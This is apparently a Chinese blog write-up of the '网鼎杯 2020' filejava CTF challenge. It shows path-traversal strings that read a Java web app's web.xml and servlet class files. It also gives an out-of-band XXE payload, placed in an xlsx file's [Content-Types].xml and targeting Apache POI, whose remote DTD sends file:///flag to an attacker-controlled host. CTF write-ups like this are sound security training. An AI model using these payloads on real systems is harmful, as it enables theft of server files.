[网鼎杯 2020 青龙组]filejava

该博客详细介绍了如何通过路径穿越漏洞读取Java Web应用程序的配置文件和类文件,特别是针对/UploadServlet的处理。作者利用CVE-2014-3574,通过修改Excel文件的[Content-Types].xml来触发XXE漏洞,从而获取服务器上的敏感信息。通过监听上传,展示了漏洞利用的完整过程。
摘要由CSDN通过智能技术生成

在这里插入图片描述
可以发现他的form表单传入的路径是/UploadServlet 明显就是一个Java类

经过测试尝试目录穿越
报错500 回显了一段前端,我们用脚本处理下
在这里插入图片描述
处理后爆出绝对路径
在这里插入图片描述

只要稍微学过一点java web的人都知道web.xml是java的配置文件
一般都在WEB-INF目录下

../../../web.xml

在这里插入图片描述
成功读取到配置文件。以及各个类的路径
只要你搭过Tomcat服务器就知道这些类都在WEB-INF/classes目录下
在这里插入图片描述
把这些类全部下下来

../../../classes/cn/abc/servlet/ListFileServlet.class
../../../classes/cn/abc/servlet/DownloadServlet.class
../../../classes/cn/abc/servlet/UploadServlet.class

直接拖到IDEA做审计

在这里插入图片描述
我们直接看到上传类
在这里插入图片描述
可以发现他这里对excel文件做了判断
直接搜
在这里插入图片描述
有个CVE还是2014年的,离谱

CVE-2014-3574
在这里插入图片描述
而这篇文章用的是另外一个类,回到源码,搜搜WorkbookFactory这个类
在这里插入图片描述
这个类包含了上述POC的那个类,由此尝试漏洞利用
漏洞结合XXE

新建一个xlsx文件,名字满足上传规则
然后修改修改[Content-Types].xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://172.16.166.166/penson.dtd">
%remote;%int;%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

在这里插入图片描述

在服务器创建penson.dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.16.166.166:2333?p=%file;'>">

然后监听上传
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值